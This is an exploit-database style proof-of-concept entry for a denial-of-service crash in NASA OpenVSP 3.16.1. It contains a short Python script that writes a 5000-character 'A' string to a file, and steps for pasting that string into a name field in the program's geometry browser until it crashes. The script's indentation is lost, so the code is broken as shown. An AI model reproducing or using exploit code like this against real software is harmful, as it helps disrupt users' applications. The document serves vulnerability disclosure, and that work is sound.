# Exploit Title: NASA openVSP 3.16.1 - Denial of Service (PoC)# Exploit Author : L0RD# Date: 2018-08-28# Vendor Homepage : https://software.nasa.gov/software/LAR-17491-1# Software link: https://github.com/nasa/OpenVSP# Version: 3.16.1# Tested on: Windows 10# CVE: N/A# Description :# The Vehicle Sketch Pad (VSP) is an aircraft geometry tool for rapid# evaluation of advanced design concepts.# for more information , check out this page :# https://software.nasa.gov/featuredsoftware/openvsp# Steps to reproduce:# 1) Run the python exploit code and open "poc.txt" file# 2) Copy the content of file# 3) Open "vsp.exe"# 4) Navigate to "Geom browser" and click on Add# 5) Then Navigate to "pod" and click on sub# 6) Click on "Add" and paste the content of "poc.txt" into the "name" field# 7) Click on add and Crash!#!/usr/bin/python
buffer = "A"* 5000
payload = buffer
try:
f=open("poc.txt","w")
print "[+] Creating %s bytes payload..."%len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"